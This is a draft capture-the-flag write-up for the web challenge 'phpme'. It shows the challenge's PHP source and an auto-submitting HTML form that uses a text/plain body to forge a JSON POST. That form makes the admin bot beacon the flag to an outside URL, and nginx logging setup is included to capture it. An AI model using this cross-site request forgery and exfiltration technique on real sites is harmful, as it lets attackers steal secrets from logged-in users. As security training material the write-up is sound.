5225225 b1db324231 | ||
---|---|---|
.. | ||
README.md |
README.md
DRAFT : NOT FINISHED
phpme
by 5225225 and haskal
web / 469 pts / 64 solves
"This is what normal PHP CTF challenges look like, right?" - A web dev who barely knows PHP
Going to the URL given shows us this source code
<?php
include "secret.php";
// https://stackoverflow.com/a/6041773
function isJSON($string) {
json_decode($string);
return json_last_error() === JSON_ERROR_NONE;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if(isset($_COOKIE['secret']) && $_COOKIE['secret'] === $secret) {
// https://stackoverflow.com/a/7084677
$body = file_get_contents('php://input');
if(isJSON($body) && is_object(json_decode($body))) {
$json = json_decode($body, true);
if(isset($json["yep"]) && $json["yep"] === "yep yep yep" && isset($json["url"])) {
echo "<script>\n";
echo " let url = '" . htmlspecialchars($json["url"]) . "';\n";
echo " navigator.sendBeacon(url, '" . htmlspecialchars($flag) . "');\n";
echo "</script>\n";
}
else {
echo "nope :)";
}
}
else {
echo "not json bro";
}
}
else {
echo "ur not admin!!!";
}
}
else {
show_source(__FILE__);
}
?>
The challenge is to get the admin bot to visit a URL and make a POST request without user interaction, and then receive the flag back as a POST to the url given.
The easiest way to do this is with a form. One issue is that form submission is submitting key/value pairs, but we need to submit valid JSON. [System Overlord
- Posting JSON with an HTML Form](https://systemoverlord.com/2016/08/24/posting-json-with-an-html-form.html) was useful here.
The final solution was
<body onload='document.forms[0].submit()'>
<form action='https://phpme.be.ax/' method='POST' enctype='text/plain'>
<input name='{"yep":"yep yep yep", "url":"<URL>", "trash": "' value='"}'>
</form>
</body>
with <URL>
replaced with some URL that can receive POST requests.
I (522) didn't have an easy setup to receive the values of post requests, so I got haskal to set up nginx to log the values of POST data, then look through their logs. There's most definitely cleaner ways to do this, but this worked!
For future reference, the nginx directive to log POSTed data is
log_format postdata $request_body;
server {
location /flagzone {
access_log /var/log/nginx/flags.log postdata;
echo_read_request_body;
# ...
}
# ...
}
Once you get the data back, you can simply submit the flag and you're done!